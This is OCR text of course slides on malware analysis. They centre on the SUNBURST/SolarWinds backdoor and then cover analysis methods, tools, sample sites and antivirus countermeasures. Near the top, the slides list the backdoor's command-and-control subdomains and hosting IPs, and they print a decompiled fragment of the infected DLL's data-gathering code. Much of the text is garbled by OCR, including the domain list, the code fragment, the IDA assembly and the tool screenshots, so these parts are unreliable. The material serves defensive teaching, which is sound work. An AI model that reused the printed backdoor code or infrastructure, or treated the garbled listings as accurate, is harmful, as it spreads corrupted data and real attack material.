@3anStnndkhrfnScun@y@s z@2R1j@bl 2. appsync-apil. us-west -2, avsvmcloud. com
@ 3oovacwthf@wastsll. appsync-apl.us-east-2. avsymcloud. com

A jrgecddmgkdeqimSadfey. appsync-api.us -east -2, avsymecloud. com

& r@rndptaomsFaSgtpl. appsync-apl.us -West -2, avsymcloud. com
@spiistorugliqSofod. appsync-apl.us-West-2. avsymcloud. com
@5q2sp@wdbSramdfFFll7. appsync-apl.eu-west-1. avsymcloud. com
Aaampkpredk@8Tebcrljov@tezh. appsync-api.us -east-1. avsymcloud. com
@Eo@Ea5elioudt @bt wef@bl2eul. appsync-api.us -east-1. avsymcloud. com
A7e@5ind8l3Guranbtwef@bl2eul. appsync-api.us-east-1. avsvymcloud. com
@7q2aghbohpdbnccefvidods overtr2s.appsync-apil.us-east-1. avsvmcloud. com
@7ttndaugjrijdpcbtwef@blZeul. appsync-api.us-east-1.avsvymcloud. com
@Famtsejd@2kobtboh@7ts 2¥d@bl2eul. appsync-api. eu-west -1, avsvmcloud. com
@aun@dcpkalitbenlhdglp. appsync-api.us -east-2. avsymcloud. com
QapcSte?@3gididttE34319. appsync-api.us-east-1. avsymcloud. com
@b@fbhp2@mdswdscwollr@oirssre2yy. appsync-apil. us-east -2, avsvmcloud. com
@br2kgmp2hbg9@sb2uf29149711e, appsync-api. us -east -2, avsymcloud. com
@bvakoulisdgtgslbe2sdtdiec@te?h. appsync-apl.us-east -2, avsvmcloud, com



INDUSTRY KILL SWITCH COUNTERMEE

SURE

Domain is now a
Malware Sinkhole

13.65.251.83 San Antonio - United States | Microsoft Corporation 2020-10-01

50.63.202.41 Scottsdale - United States GoDaddy.com 2020-02-19

50.63.202.56 Scottsdale - United States GoDaddy.com 2020-02-05

50.63.202.58 Scottsdale - United States GoDaddy.com 2020-01-22

184.168.221.53 | Scottsdale - United States GoDaddy.com 2020-01-07 Active C&C

50.63.202.58 Scottsdale - United States | GoDaddy.com 2019-12-26 backdoor activity
| 209.141.38.71 | Las Vegas - United States FranTech Solutions 2019-12-12

192.161.187.200 | Los Angeles - United States | QuadraNet Enterprises LLC | 2019-12-12

107.161.23.204 Atlanta - United States RAMNODE | 2019-12-12

April 29, 2022 — GoDaddy repossessed the domain, selling it to a coalition of IT
partners (led by Microsoft) for use as a malware sinkhole and attack kill switch



ANALYZING THE SUNBURST MALICIOUS DLL

1. Use DotPeek .NET decompiler Host Server2016
to open the actual infected DLL

Browser

2. Examine key blocks of code

3. Decompress obfuscated strings
to expose malicious commands




1.9
MALWARE - Analysis Techniques
ANALYSIS "™



FREE MALWARE SAMPLE SITES FOR RESEARCHERS

github.com/vxunderground/MalwareSourceCode/

Virustotal.com (accessing samples requires a VT Enterprise subscription)

Malware-traffic-analysis.net

zeltser.com/malware-sample-sources/




MALWARE ANALYSIS TECHNIQUES

= Static (code analysis)
= Analyze binaries without actually running them
= Look at file metadata, disassemble or decompile the executable
= Look for file names, hashes, strings such as IP addresses, domains, and file header data
= Identify malicious infrastructure, libraries or packed files

= Dynamic (behavior analysis)
= Run the executable in a sandboxed environment
= Watch the malware in action without the risk of infection or escape
= Watch for malicious runtime behavior that static analysis might not reveal

= Hybrid
= Combination of static and dynamic techniques

= Apply static analysis to data generated by behavioral analysis
= E.g. examine a memory dump after malicious code has made changes in memory

For more information on static and dynamic analysis see:


https://infosecwriteups.com/malware-analysis-101-basic-static-analysis-db59119bc00a
https://opensecuritytraining.info/MalwareDynamicAnalysis.html

MALWARE ANALYSIS PROCESS

1. Prepare the test bed:
= Create a virtual machine in a host computer
= Isolate the host system
= Configure the guest VM NIC to be in host-only mode
= Disable shared folders/guest VM isolation
= Copy malware to the guest O/S

2. First analyze the malware in a static (non-running) state

= Use tools such as binText or Sysinternals Strings to search the binary for hard-coded names, IP
addresses, or other text

3. Run the malware and monitor/analyze its activities
= Use tools like Process Monitor, Dependency Walker, or API Monitor to observe processes and API calls

= Use tools like NetResident, TCPview or even Wireshark to observe network activity, ports and
connections, beaconing, ARPing, etc.

4. Check to see what files the malware adds, changes, or deletes
= Tools - IDA Pro, VirusTotal, Anubis, Threat Analyzer

5. Document all findings
= Use the information to help identify actual infections of the same malware in the production environment



L Malwarebytes

RE ANALYSIS EXAMPLE

Crushes malware. Restores confidence.

Malware Analysis Review

Take a picture folks!

Static Analysis

AV Lookup
* Virustotal.com

File Detail / Property Collection

* PE Studio

* FileAlyzer

Strings

* Malcode Analyst Pack String
Extensions

Packer Identification

* EXEInfo PE

Dynamic Analysis
Execution Monitoring

* Process Explorer
Registry / File
Modifications

* RegShot

Network Traffic Collection
* Wireshark

*+ Fiddler

*+ TCP View

Execution Collection

*+ Process Monitor

*+ ProcDot

Analysis Environment

Virtual Environment Tools
*+ VMWare
* VirtualBox

Sandboxes
Cuckoo Sandbox — malwr.com
Anubis Sandbox - anubis.iseclab.org

Methodology
* Follow the code
* Look between the lines

* Lookup what you don't understand

Malwarebytes Corporation, 10 Almaden Blvd. Tenth Floor, San Jose, CA 95113

Useful Resources

Lenny Zeltser — MA & Android/PDF/Memory

* https://zeltser.com/malware-analysis-webcast/

¢« https://zeltser.com/remnux-malware-analysis-
tips/

Security Xploded — RE & MA

* http://securitytrainings.net/reversing-
malware-analysis-training/

Tuts4You — RE & MA

+ https://tuts4you.com/

Contagio — Lots of MA links

* http://contagiodump.blogspot.com/2010/06/malwa
re-analysis-and-forensics-tools.html

Malwarebytes Blog

* Good information on new threats + Tutorials
and tips on Malware, Exploits, RE and Mobile

*+ Blog.Malwarebytes.org




SHEEP-DIP

= Sheep-dipping is a pre-emptive effort to detect and clean malware before introducing a
new item to the production environment

= Performed in a sandboxed environment
= Air-gapped computer
= No connection to the network
= May have several antivirus product installed

= [tems that can be sheep dipped include:
= Removable media

= Data files
= Application executables
= Devices

= Sheep dip product examples:
= Meta Defender Kiosk (opswat.com)

= SheepDip (sourceforge.net/projects/sheepdip)
= usbsheepdip (github.com/pajari/usbsheepdip)



ONLINE MALWARE ANALYSIS SITES

Cloud-based malware analysis takes advantage of:
* Collecting a wide range of samples from many protected sites
» Using a provider’s cloud, rather than local scanning, to identify viruses

= VirusTotal = ThreatExpert

= Malwr.com = Dr.Web Online Scanners
= www.hybrid-analysis.com = Metascan Online

= Anubis = Bitdefender QuickScan

= Avast! Online Scanner = Online Malware Scanner
= Malware Protection Center = ThreatAnalyzer

= UploadMalware.com



VIRUSTOTAL EXAMPLE

@ 58 security vendors and 1 sandbox flagged this file as malicious

32519b85c0b422e45656de6eb6c41878295fd95026267daab4215ee59c107

987.34 KB
dac77 )
Size
@ SolarWinds.Orion_Core BusinessLayer.dll
pedll assembly overlay revoked-cert signed invalid-signature
x Community Score A
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 20+
Security Vendors' Analysis
Acronis (Static ML) (1) suspicious Ad-Aware
AhnLab-v3 (1) Backdoor/Win32.SunBurst.R357806 AlYac
Arcabit (1) Trojan.Sunburst.A Avast
AVG (1) MSIL:SunBurst-B [Bd] Avira (no cloud)
BitDefender (1) Trojan.Sunburst.A Bkav Pro
Clamay (1) Win.Countermeasure.Sunburst-9809152-0 Comodo

Cylance (1) Unsafe Cynet

2022-11-28 11:50:00 UTC 00
22 days ago DLL

(1) Trojan.Sunburst.A

(1) Trejan.MSIL.SunBurst

(1) mSIL:SunBurst-B [Bd]

() TR/Sunburst.AQ

(1) W32 APT159TTc.Worm
@ Backdoor@#31fsqrgqvupvix

(1) Malicious (score: 99)



REVERSE ENGINEERING MALWARE

= Examine the code
= Use a hex dumper to look for bit patterns

= Use a disassembler to read executable instructions in text format
= Examine the malware’s exploitation techniques
= If the malware obfuscates itself, focus on reverse engineering only the new parts
= Look for mistakes in ransomware encryption implementation
= Look for command & control activity

= Categorization and clustering
= Do broad stroke analysis on bulk samples rather than a deep dive into a single sample



MALWARE ANALYSIS TOOLS

= Disassembler — IDA Pro, dotPeek, ODA, Relyze, Hopper Disassembler, Binary Ninja

= Decompiler — IDA Pro + Hex

= Debugger — OllyDbg, WinDbg, Immunity, Syser, Zend Studio, GNU Debugger

= System Monitor — Process Monitor, RegShot, Process Explorer

= Network Monitor — TCP View, Wireshark

= Packer Identifier — PEID, Exeinfo PE

= Unpacking Tools — Qunpack. GUNPacker

= Binary Analysis Tools — PE Explorer, Malcode Analysts Pack, Strings

= Code Analysis Tools — LordPE, ImpRec, Dependency Walker, PowerShell, HashMyFiles

A knowledge of assembly language is}

[ Some tools are multifunction } [ helpful when analyzing malware




STATIC CODE ANALYSIS EXAMPLE

SolarWinds infected code seen via DLL decompiler dotPeek

private static string GetNetworkadapterConfiguration()

H

foreach (ManagementObject managementObject in managementObjectSearcher.Get().Cast<ManagementObject>())

string adapterConfiguration = "";
try
1
using (ManagementObjectSearcher managementObjectSearcher
1
{
adapterConfiguration += "\n";
adapterConfiguration += OrionImprovementBusinesslLayer.
adapterConfiguration += OrionImprovementBusinesslayer.
adapterConfiguration 4= OrionImprovementBusinesslLayer.
adapterConfiguration += OrionImprovementBusinesslayer.
adapterConfiguration += OrionImprovementBusinesslayer.
adapterConfiguration 4= OrionImprovementBusinesslLayer.
adapterConfiguration += OrionImprovementBusinesslayer.
adapterConfiguration += OrionImprovementBusinesslayer.
adapterConfiguration += OrionImprovementBusinesslLayer.
adapterfonfiguration += OrionImprovementBusinesslayer.
¥
return adapterConfiguration;
¥
h
catch (Exception ex)
1

return adapterConfiguration + ex.Message;
.

new ManagementObjectSearcher(OrionImprovementBusinesslayer.ZipHelper. Unzip("Ce7NSUBuUdBScCvKz1UTIz8wzNor3Sy

GetManagementObjectProperty
GetManagementObjectProperty
GetManagementObjectProperty
GetManagementObjectProperty
GetManagementObjectProperty
GetManagementObjectProperty
GetManagementObjectProperty
GetManagementObjectProperty
GetManagementObjectProperty
GetManagementObjectProperty

managementObject,
managementObject,
managementObject,
managementObject,
managementObject,
managementObject,
managementObject,
managementObject,
managementObject,
managementObject,

e T i, s O i T s O e T i T i T e N i

OrionImprovementBusinesslLayer.

OrionImprovementBusinesslayer

OrionImprovementBusinesslayer
OrionImprovementBusinesslayer

ZipHelper.

.ZipHelper.
OrionImprovementBusinesslayer.
OrionImprovementBusinesslayer.
OrionImprovementBusinesslayer.

ZipHelper.
ZipHelper.
ZipHelper.

.ZipHelper.
.ZipHelper.
OrionImprovementBusinesslayer.
OrionImprovementBusinesslayer.
OrionImprovementBusinesslayer.

ZipHelper.
ZipHelper.
ZipHelper.

Unzip("c@ktTi7KLC]IzV
Unzip("83vadkxIKUotLg
Unzip("c/FwDnDNS@zKSU
Unzip("c/FwDghOLSpLLQ
Unzip("c/EL9sgvLvFLzE
Unzip("c/ELdsnPTczMCy
Unzip("c/ELDk4tKkstCk
Unzip("8wxwTEkpSiGuBg
Unzip("8wwILk3IKSyaBAS
Unzip("c@lNSyzNKfEMCE



File Edit Jump
|{ E - v o v

Library funcion

[F]Functions window 0O & X

Options

Windows

IDA PRO EXAMPLE

Search View Debugger

afh®: S 3w 2@

Help

of off @ ¥~ # @ X > D D Nodebugger
sy f |0 _BifdemEy |

Data [l Reguiar function

v % AP

Function name
7] CloseHandle

| f| CreateFileA
£ GetFileType
GetFileSize
GetStdHandle
RaiseException
ReadFile
RtlUnwind
SetEndOfFile
SetFilePointer

[ R S S RS

f

=
2
5
5

ExitProcess
| MessageBoxA

f| GetlastError

7| GetLocalelnfoA

7| GetModuleFileNameA
f| GetStartuplinfoA

5 GetThreadLocale

7| LoadlibraryExA

7] LoadStringA

7] IstrepyA

~

Unexplored Il Instruction | Extemal symbol
(Emaview. B [ stingswind.. [ [0 Hexvie.. [] [Blstructres ] [FlEw. (] fFimpe.. [ Expo... [
CODE : 9842D518 push offset loc_42D57B h
CODE : 88420520 push dword ptr fs:[eax]
CODE : 30420523 moy fFs:[eax], esp
CODE : BB42D526 lea edx, [ebp+uvar_u]
CODE : BB42D529 mouv eax, [ebr+1DCh] |
CODE : 8@42D52F call sub_41Aa188
CODE : A42D53 4 mou eax, [ebpruvar_Au]
CODE - 90420537 moy edx, offset aBemadryl ; “Benadryl”
CODE : 9842D53C call sub_4B38D0a
CODE - 8842D541 jz short loc_&k2D555
CODE - 0842D543 moy edx, offset aWrongCodeDude ; “Wrong Code DUDE™
CODE : 90420548 mouy eax, [ebx+1E8h]
CODE : 9042D54E call sub_41a1B8
CODE - 9842D55%3 jnp short loc_42D565%
CODE = BBARDSES ; ——-=——=—=—=—=—=—===—=======—===—==—==========—================—==========
CODE : 98420555
CODE : 8842D555 loc_k2D555: ; CODE XREF: 5uh_h2n51u431fj
CODE : 98420555 mouy edx, offset aThanksYouMadel ; “Thanks you made
CODE : BA42D55A mou eax, [ebx+1E8h]
CODE : 9842056 @ call sub_L1A1B8
CODE - 0042D565
CODE : 9B42D565 loc_42D565: ; CODE XREF: sub_42D518+437j
CODE : 8842D565 ®OF eax, eax
CODE : 042D567 pop edx
CODE - 0B42D568 pop ecx




DEPENDENCY WALKER EXAMPLE

' B Dependency Walker - [Stocges.exe]

(o B )

I'l: Eile Edit View Options Profile Window Help - |8 x
@Sl AR Sy REDN
= O STOOGES.EXE PI* | Ordinal Hint Functicn Entry Point
0 LARRY.DLL | R M A EEnucklehead Mot Bound
= 0 KERMELIZ.DLL B | nNa A int SaySoitenkychar *,...) | Mot Bound
] WTOLL.DLL 1 i !
ga] NTOLL.DLL E* | Qrdinal Hint Function Entry Point
=R Ty 4 0:0004) [ 1 00001 ) | int SaySoitentylchar *,..) | SHEMP FSaySoitenky @ B YAHP!
B0 SHEMP.OLL 3 |5{0:0005)| 2 (®0002) | DoinkLarmysEye 000001010
=% MOEDLL B |3{00003)|000000) | void SayPoifect_ints4) | 000001020
= &l KERMEL32.DLL ¥ |100001)] NA MrA 000001020
2% NTOLLDLL E%| 2(0:0002) | 3 (00003) | DoinkMoesEye SHEMP.DoinkMaesEye
4 4] ¥
Module * File Time 3amp | Link Time Stamp | File Size | Attr. | Link Checksum | Real Checksumn | CPU | Subsyste =
30 | CuRLY.DLL 1171472006 547p | 11/14/2006 513p 2,560 | A 0O000FT30 | 0w0000F759 |86 |GU
] | KERNEL32.DLL | 08/30/2006 1:22a | 0E/30/2006 1:20a| 871424 | A 0:D00E338E |OuDO0OEIEZE |x836 | Console|,
O | LARRY.DLL 1171472006 5:13p | 11/714/2006 513p 2560 A oD00053D8 |uDO0053DB |86 | GUI 1
®] | MOE.DLL 1171472006 5:15p | 1171472006 515p 2560 A 000008191 |Ou0000B191 |86 |GUI
O | NTDLL.DLL 08/30/2006 1:23a | 0B/30/2006 1:Ma | 1147664 | A O0125FA5 |OsD0125FA5 |s86 | Console
30 | SHEMP.DLL | 11/14/2006 5:13p | 11/14/2006 5:13p 2580 A ODO0DL1CET |OuD0001CET |86 | GUI o
L 1} L3

L

|For Help, press F1

I

00:00:00.093: LoadlibraryA("Moe.dII”) called from "STOOGES.EXE™ ot address (00401024 by thread 1.

00:00:00.093: Loaded "MOE.DLL" at address Ox00020000 by thread 1. Successfully hooked module.
00:00:00.093: DIMain((h00020000, DLL_PROCESS_ATTACH, te0000000]) in "MOE.DLL" called by thread 1.
D0:00:00.093: DIMain(D=00020000, DLL_PROCESS_ATTACH, 0x00000000) in "MOE.DLL™ returned 1 (0xd) by thread 1,
00:00:00.093: LoadLibranya("Moe.dll”) returned 000020000 by thread 1.
00:00:00.109: GetProcAddress(00020000 [MOE.DLL], "SmackCurly”) called from “3TOOGES.EXE” at address 0x0040102E8 and returne =

L]

P
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MALWARE COUNTERMEASURES

= Install a good antivirus program
= Keep it updated
= Scan your system regularly
= Consider enabling real-time protection

= Keep your system patched

= Regularly back up data
= Store backups in a safe location

= Safely store clean original copies of all software
= Enable browser security features such as popup blockers and site safety

= Set restore points before and after installing any new program on a Windows
system.



MALWARE COUNTERMEASURES (CONT'D)

= Airgap the device
= Physically isolate the device or network
= Disallow any removable media from plugging into the device

= Exercise caution when downloading programs/files from Internet
= Scan applications and files before installing/opening them

= Train users to recognize and avoid potentially dangerous sites
= Free online gaming or gambling

= Software sharing and download sites.



MALWARE COUNTERMEASURES (CONT'D)

= Do not open attachments/click links from unknown senders
= Watch out for attachments that have two extensions (such as .avi.exe)

= Be especially careful about files/apps shared through social media and file sharing sites

= Install Immunizer software on the host
= Attaches code to a file or application

= Fools a virus into 'thinking’ the device is already infected (comparable to a human
vaccine)

= Examples include: BitDefender USB Immunizer, Panda USB Vaccine

= Enable malicious behavior blocking features in the OS:
= Windows Defender

= Linux Endpoint.



TROJAN COUNTERMEASURES

= Block unnecessary ports at the host and edge firewalls

= Restrict desktop permissions

= Harden/disable weak/default configurations settings

= Do not blindly type commands or use pre-made scripts/programs

= Ensure internal traffic is monitored for encrypted traffic/unusual ports

= Ensure that file integrity at each workstation is consistently managed.




BACKDOOR COUNTERMEASURES

= Run netstat -naob to find unexpected open ports
= Determine the owning process and source files

= Block unnecessary ports on the host firewall

= Deploy a NIDS to monitor for unusual network traffic.




ROOTKIT COUNTERMEASURES

= Perform a file integrity check using a tool such as RootkitRevealer from
Sysinternals

= If a system has a kernel-level rootkit, the only safe and secure way to clean it is to:
= Completely wipe the hard drive

= Perform a clean installation of the operating system




RAT COUNTERMEASURES

= Recognize that RATs are challenging to detect
= An infection can go undetected for years
= RAT software can only be identified once it is operating on your system
= RATSs use obfuscation methods such as parallel programs to cloak their activities
= Persistence modules that use rootkit techniques make RATs very difficult to delete

= Install a HIDS on newly-deployed hosts
= Install a NIDS to watch for suspicious network activity

= If necessary, reinstall the OS and all software from a cleagﬁé%’érce or image.




RAT DETECTORS

= SolarWinds Security Event Manager
= Snort

= OSSEC
= Zeek

= Suricata

= Sagan

= Security Onion
= AIDE

= OpenWIPS-NG
= Samhain

= Fail2Ban.




FILELESS MALWARE MITIGATION TECHNIQUES

= Perform behavior-based analysis to identify malicious activities and patterns

= Identify the scripts or actions responsible for loading the malware into memory
= Set PowerShell script policy to Restricted

= Keep up with patches and updates.

11000
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ANTI-MALWARE SOFTWARE EXAMPLES

= TotalAV = Malwarebytes
= PCProtect = BullGuard

= Symantec Endpoint Protection = Kaspersky

= ScanGuard = ESET

= Bitdefender = Panda

= Norton = Trend Micro

= Windows Defender = F-Secure

= AVG = ZoneAlarm

= Avast = SpeedyClean.

= McAfee



SED ANTIVIRUS

= Stores information about malware variants in the cloud, rather than on a user’s
device

= Access to a larger threat database without having to house it on your hard drive
= Smaller installation agent for your antivirus software, so it takes up less space

= Near real-time definition updates based on data gathered from the entire network
of users.



CLOUD-BASED ANTIVIRUS EXAMPLES

= Kaspersky Security Cloud

EEDPHDEHEIME FREETRISL  SUFPORT  DSRCSSSEUTOHS  SGYIM

= Malwarebytes

The Experts' Choice for
Cybersecurity

= Webroot s SOPHOS Homg | oo
= Sophos Endpoint Protection AN sommm o
= AVAST Business Hub

= ESET Endpoint Security
= Bitdefender

= AVIRA

= McAfee

= Panda Antivirus.
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MALWARE THREATS REVIEW

= Malware is malicious software that disables/damages computer systems

= A virus is a self-replicating program
= Viruses are categorized based on what/how they infect

= A worm is a more advanced type of virus that does not need to be attached to another file
= It does not need human intervention to execute or spread



MALWARE THREATS REVIEW

= Malware is malicious software that disables/damages computer systems

= A virus is a self-replicating program
= Viruses are categorized based on what/how they infect

= A worm is a more advanced type of virus that does not need to be attached to another file
= It does not need human intervention to execute or spread

= A trojan is a program that hides malicious code inside a seemingly
normal program

= A Remote Access Trojan (RAT) is the most common type of trojan
= A wrapper is used to bind the Trojan executable to another application
= A cryptor is used to obfuscate malicious code so it is harder to detect

= Trojans often use covert channels such as ICMP tunneling to evade
detection



MALWARE THREATS REVIEW

= A rootkit replaces part of the operating system and is very hard to detect or clean

= Ransomware encrypts a user’s files and then demands payment for the decryption key

= A botnet is an “army”’ of hundreds or thousands of infected “zombie” machines under the
control of a central Command and Control (C&C) server

= Beaconing is the periodic connection of a zombie to its C&C server to see if it has attack
instructions



MALWARE THREATS REVIEW

= A rootkit replaces part of the operating system and is very hard to detect or clean

= Ransomware encrypts a user’s files and then demands payment for the decryption key

= A botnet is an “army”’ of hundreds or thousands of infected “zombie” machines under the
control of a central Command and Control (C&C) server

= Beaconing is the periodic connection of a zombie to its C&C server to see if it has attack
instructions

= There are many tools you can use to create viruses, worms, and trojans
= An exploit/crimeware kit delivers exploits/payload to target system

= A sheep dip computer is a controlled environment in which you can
watch and analyze malware activity in realtime

= You can use other tools to disassemble or reverse engineer a malware
executable

= The best defense against malware is updated anti-malware software
combined with awareness

e
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